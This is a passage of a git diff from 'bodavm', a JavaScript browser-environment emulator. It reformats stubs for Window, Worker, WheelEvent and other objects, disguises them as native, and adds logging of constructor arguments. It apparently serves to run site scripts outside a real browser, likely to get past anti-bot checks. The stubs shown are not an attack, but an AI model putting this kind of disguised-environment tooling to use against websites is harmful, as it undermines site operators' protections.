+bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "incomingMaxAge", { + configurable: true, + enumerable: true, + get: function incomingMaxAge() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingMaxAge_get", arguments); + }, + set: function incomingMaxAge() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingMaxAge_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "outgoingMaxAge", { + configurable: true, + enumerable: true, + get: function outgoingMaxAge() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingMaxAge_get", arguments); + }, + set: function outgoingMaxAge() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingMaxAge_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "incomingHighWaterMark", { + configurable: true, + enumerable: true, + get: function incomingHighWaterMark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingHighWaterMark_get", arguments); + }, + set: function incomingHighWaterMark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingHighWaterMark_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "outgoingHighWaterMark", { + configurable: true, + enumerable: true, + get: function outgoingHighWaterMark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingHighWaterMark_get", arguments); + }, + set: function outgoingHighWaterMark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingHighWaterMark_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebTransportError.js b/env_xbb_lastest_jsdom/env/WebTransportError.js index 9461ce36..10c3f025 100644 --- a/env_xbb_lastest_jsdom/env/WebTransportError.js +++ b/env_xbb_lastest_jsdom/env/WebTransportError.js @@ -1,7 +1,32 @@ -// WebTransportError对象 -bodavm.memory.globalobj['WebTransportError'] = function WebTransportError(){this._boarg= new bodaobj.window.WebTransportError();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransportError'], "WebTransportError"); -bodavm.memory.globalobj['WebTransportError'].prototype.__proto__=bodavm.memory.globalobj['DOMException'].prototype; -bodavm.memory.globalobj['WebTransportError'].__proto__=bodavm.memory.globalobj['DOMException']; -bodavm.toolsFunc.defineProperty('WebTransportError', "streamErrorCode", {configurable:true, enumerable:true, get:function streamErrorCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportError'].prototype, "WebTransportError", "streamErrorCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportError', "source", {configurable:true, enumerable:true, get:function source (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportError'].prototype, "WebTransportError", "source_get", arguments)}, set:undefined},'prototype'); +// WebTransportError对象 + +bodavm.memory.globalobj['WebTransportError'] = function WebTransportError() { + console.log_copy('WebTransportError 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.WebTransportError(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransportError'], "WebTransportError"); +bodavm.memory.globalobj['WebTransportError'].prototype.__proto__ = bodavm.memory.globalobj['DOMException'].prototype; +bodavm.memory.globalobj['WebTransportError'].__proto__ = bodavm.memory.globalobj['DOMException']; +bodavm.toolsFunc.defineProperty('WebTransportError', "streamErrorCode", { + configurable: true, + enumerable: true, + get: function streamErrorCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportError'].prototype, "WebTransportError", "streamErrorCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportError', "source", { + configurable: true, + enumerable: true, + get: function source() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportError'].prototype, "WebTransportError", "source_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WheelEvent.js b/env_xbb_lastest_jsdom/env/WheelEvent.js index aecda5bc..90d7b3f7 100644 --- a/env_xbb_lastest_jsdom/env/WheelEvent.js +++ b/env_xbb_lastest_jsdom/env/WheelEvent.js @@ -1,18 +1,111 @@ -// WheelEvent对象 -bodavm.memory.globalobj['WheelEvent'] = function WheelEvent(){if (!(this instanceof WheelEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WheelEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WheelEvent'], "WheelEvent"); -bodavm.memory.globalobj['WheelEvent'].prototype.__proto__=bodavm.memory.globalobj['MouseEvent'].prototype; -bodavm.memory.globalobj['WheelEvent'].__proto__=bodavm.memory.globalobj['MouseEvent']; -bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PIXEL", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_LINE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PAGE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('WheelEvent', "deltaX", {configurable:true, enumerable:true, get:function deltaX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "deltaY", {configurable:true, enumerable:true, get:function deltaY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "deltaZ", {configurable:true, enumerable:true, get:function deltaZ (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaZ_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "deltaMode", {configurable:true, enumerable:true, get:function deltaMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaMode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "wheelDeltaX", {configurable:true, enumerable:true, get:function wheelDeltaX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "wheelDeltaX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "wheelDeltaY", {configurable:true, enumerable:true, get:function wheelDeltaY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "wheelDeltaY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "wheelDelta", {configurable:true, enumerable:true, get:function wheelDelta (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "wheelDelta_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PIXEL", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_LINE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PAGE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); +// WheelEvent对象 + +bodavm.memory.globalobj['WheelEvent'] = function WheelEvent() { + console.log_copy('WheelEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WheelEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WheelEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WheelEvent'], "WheelEvent"); +bodavm.memory.globalobj['WheelEvent'].prototype.__proto__ = bodavm.memory.globalobj['MouseEvent'].prototype; +bodavm.memory.globalobj['WheelEvent'].__proto__ = bodavm.memory.globalobj['MouseEvent']; +bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PIXEL", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_LINE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('WheelEvent', "deltaX", { + configurable: true, + enumerable: true, + get: function deltaX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "deltaY", { + configurable: true, + enumerable: true, + get: function deltaY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "deltaZ", { + configurable: true, + enumerable: true, + get: function deltaZ() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaZ_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "deltaMode", { + configurable: true, + enumerable: true, + get: function deltaMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaMode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "wheelDeltaX", { + configurable: true, + enumerable: true, + get: function wheelDeltaX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "wheelDeltaX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "wheelDeltaY", { + configurable: true, + enumerable: true, + get: function wheelDeltaY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "wheelDeltaY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "wheelDelta", { + configurable: true, + enumerable: true, + get: function wheelDelta() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "wheelDelta_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PIXEL", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_LINE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Window.js b/env_xbb_lastest_jsdom/env/Window.js index f4a3b3fb..c8e609c7 100644 --- a/env_xbb_lastest_jsdom/env/Window.js +++ b/env_xbb_lastest_jsdom/env/Window.js @@ -1,21 +1,47 @@ // Window对象 -bodavm.memory.globalobj['Window'] = function Window(){if (!(this instanceof Window)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} +bodavm.memory.globalobj['Window'] = function Window() { + console.log_copy('Window 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Window)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; // debugger bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Window'], "Window"); - -bodavm.memory.globalobj['Window'].prototype.__proto__=bodavm.memory.globalobj['WindowProperties'].prototype; - -bodavm.memory.globalobj['Window'].__proto__=bodavm.memory.globalobj['EventTarget']; - -bodavm.toolsFunc.defineProperty('Window', "TEMPORARY", {configurable:false, enumerable:true, writable:false, value:0}); - -bodavm.toolsFunc.defineProperty('Window', "PERSISTENT", {configurable:false, enumerable:true, writable:false, value:1}); - -bodavm.toolsFunc.defineProperty('Window', "TEMPORARY", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); - -bodavm.toolsFunc.defineProperty('Window', "PERSISTENT", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); +bodavm.memory.globalobj['Window'].prototype.__proto__ = bodavm.memory.globalobj['WindowProperties'].prototype; +bodavm.memory.globalobj['Window'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Window', "TEMPORARY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('Window', "PERSISTENT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('Window', "TEMPORARY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Window', "PERSISTENT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); // bodavm.memory.globalobj['Window'] = function Window(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} -// debugger - +// debugger \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WindowControlsOverlay.js b/env_xbb_lastest_jsdom/env/WindowControlsOverlay.js index 97af2f0a..ec8a6e7e 100644 --- a/env_xbb_lastest_jsdom/env/WindowControlsOverlay.js +++ b/env_xbb_lastest_jsdom/env/WindowControlsOverlay.js @@ -1,8 +1,45 @@ -// WindowControlsOverlay对象 -bodavm.memory.globalobj['WindowControlsOverlay'] = function WindowControlsOverlay(){if (!(this instanceof WindowControlsOverlay)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WindowControlsOverlay'], "WindowControlsOverlay"); -bodavm.memory.globalobj['WindowControlsOverlay'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['WindowControlsOverlay'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('WindowControlsOverlay', "visible", {configurable:true, enumerable:true, get:function visible (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "visible_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WindowControlsOverlay', "ongeometrychange", {configurable:true, enumerable:true, get:function ongeometrychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "ongeometrychange_get", arguments)}, set:function ongeometrychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "ongeometrychange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WindowControlsOverlay', "getTitlebarAreaRect", {configurable:true, enumerable:true, writable:true, value:function getTitlebarAreaRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "getTitlebarAreaRect", arguments)}},'prototype'); +// WindowControlsOverlay对象 + +bodavm.memory.globalobj['WindowControlsOverlay'] = function WindowControlsOverlay() { + console.log_copy('WindowControlsOverlay 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WindowControlsOverlay)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WindowControlsOverlay'], "WindowControlsOverlay"); +bodavm.memory.globalobj['WindowControlsOverlay'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['WindowControlsOverlay'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('WindowControlsOverlay', "visible", { + configurable: true, + enumerable: true, + get: function visible() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "visible_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WindowControlsOverlay', "ongeometrychange", { + configurable: true, + enumerable: true, + get: function ongeometrychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "ongeometrychange_get", arguments); + }, + set: function ongeometrychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "ongeometrychange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WindowControlsOverlay', "getTitlebarAreaRect", { + configurable: true, + enumerable: true, + writable: true, + value: function getTitlebarAreaRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "getTitlebarAreaRect", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WindowControlsOverlayGeometryChangeEvent.js b/env_xbb_lastest_jsdom/env/WindowControlsOverlayGeometryChangeEvent.js index 78c75d10..652b075d 100644 --- a/env_xbb_lastest_jsdom/env/WindowControlsOverlayGeometryChangeEvent.js +++ b/env_xbb_lastest_jsdom/env/WindowControlsOverlayGeometryChangeEvent.js @@ -1,7 +1,35 @@ -// WindowControlsOverlayGeometryChangeEvent对象 -bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'] = function WindowControlsOverlayGeometryChangeEvent(){if (!(this instanceof WindowControlsOverlayGeometryChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WindowControlsOverlayGeometryChangeEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'], "WindowControlsOverlayGeometryChangeEvent"); -bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('WindowControlsOverlayGeometryChangeEvent', "titlebarAreaRect", {configurable:true, enumerable:true, get:function titlebarAreaRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].prototype, "WindowControlsOverlayGeometryChangeEvent", "titlebarAreaRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WindowControlsOverlayGeometryChangeEvent', "visible", {configurable:true, enumerable:true, get:function visible (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].prototype, "WindowControlsOverlayGeometryChangeEvent", "visible_get", arguments)}, set:undefined},'prototype'); +// WindowControlsOverlayGeometryChangeEvent对象 + +bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'] = function WindowControlsOverlayGeometryChangeEvent() { + console.log_copy('WindowControlsOverlayGeometryChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WindowControlsOverlayGeometryChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WindowControlsOverlayGeometryChangeEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'], "WindowControlsOverlayGeometryChangeEvent"); +bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('WindowControlsOverlayGeometryChangeEvent', "titlebarAreaRect", { + configurable: true, + enumerable: true, + get: function titlebarAreaRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].prototype, "WindowControlsOverlayGeometryChangeEvent", "titlebarAreaRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WindowControlsOverlayGeometryChangeEvent', "visible", { + configurable: true, + enumerable: true, + get: function visible() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].prototype, "WindowControlsOverlayGeometryChangeEvent", "visible_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WindowProperties.js b/env_xbb_lastest_jsdom/env/WindowProperties.js index 25915805..8fbff7ad 100644 --- a/env_xbb_lastest_jsdom/env/WindowProperties.js +++ b/env_xbb_lastest_jsdom/env/WindowProperties.js @@ -1,9 +1,17 @@ bodavm.memory.globalobj['WindowProperties'] = function WindowProperties() { - return bodavm.toolsFunc.throwError("TypeError","Illegal constructor") - // throw ReferenceError(`WindowProperties is not defined - // at :1:100`) - ; -} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WindowProperties'], 'WindowProperties') -bodavm.memory.globalobj['WindowProperties'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['WindowProperties'].__proto__=bodavm.memory.globalobj['EventTarget']; + console.log_copy('WindowProperties 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") + // throw ReferenceError(`WindowProperties is not defined + // at :1:100`) + ; +}; + +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WindowProperties'], 'WindowProperties'); +bodavm.memory.globalobj['WindowProperties'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['WindowProperties'].__proto__ = bodavm.memory.globalobj['EventTarget']; diff --git a/env_xbb_lastest_jsdom/env/Worker.js b/env_xbb_lastest_jsdom/env/Worker.js index 288a9908..2d60f99d 100644 --- a/env_xbb_lastest_jsdom/env/Worker.js +++ b/env_xbb_lastest_jsdom/env/Worker.js @@ -1,9 +1,55 @@ -// Worker对象 -bodavm.memory.globalobj['Worker'] = function Worker(){if (!(this instanceof Worker)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Worker': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Worker'], "Worker"); -bodavm.memory.globalobj['Worker'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Worker'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Worker', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Worker', "postMessage", {configurable:true, enumerable:true, writable:true, value:function postMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "postMessage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Worker', "terminate", {configurable:true, enumerable:true, writable:true, value:function terminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "terminate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Worker', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onerror_set", arguments)}},'prototype'); +// Worker对象 + +bodavm.memory.globalobj['Worker'] = function Worker() { + console.log_copy('Worker 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Worker)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Worker': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Worker'], "Worker"); +bodavm.memory.globalobj['Worker'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Worker'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Worker', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Worker', "postMessage", { + configurable: true, + enumerable: true, + writable: true, + value: function postMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "postMessage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Worker', "terminate", { + configurable: true, + enumerable: true, + writable: true, + value: function terminate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "terminate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Worker', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onerror_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Worklet.js b/env_xbb_lastest_jsdom/env/Worklet.js index 1390943e..635f433e 100644 --- a/env_xbb_lastest_jsdom/env/Worklet.js +++ b/env_xbb_lastest_jsdom/env/Worklet.js @@ -1,4 +1,25 @@ -// Worklet对象 -bodavm.memory.globalobj['Worklet'] = function Worklet(){if (!(this instanceof Worklet)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Worklet'], "Worklet"); -bodavm.toolsFunc.defineProperty('Worklet', "addModule", {configurable:true, enumerable:true, writable:true, value:function addModule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worklet'].prototype, "Worklet", "addModule", arguments)}},'prototype'); +// Worklet对象 + +bodavm.memory.globalobj['Worklet'] = function Worklet() { + console.log_copy('Worklet 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Worklet)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Worklet'], "Worklet"); +bodavm.toolsFunc.defineProperty('Worklet', "addModule", { + configurable: true, + enumerable: true, + writable: true, + value: function addModule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worklet'].prototype, "Worklet", "addModule", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WritableStream.js b/env_xbb_lastest_jsdom/env/WritableStream.js index 75a42e01..2383f938 100644 --- a/env_xbb_lastest_jsdom/env/WritableStream.js +++ b/env_xbb_lastest_jsdom/env/WritableStream.js @@ -1,7 +1,46 @@ -// WritableStream对象 -bodavm.memory.globalobj['WritableStream'] = function WritableStream(){this._boarg= new bodaobj.window.WritableStream();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WritableStream'], "WritableStream"); -bodavm.toolsFunc.defineProperty('WritableStream', "locked", {configurable:true, enumerable:true, get:function locked (){return bodavm.toolsFunc.dispatch(this, 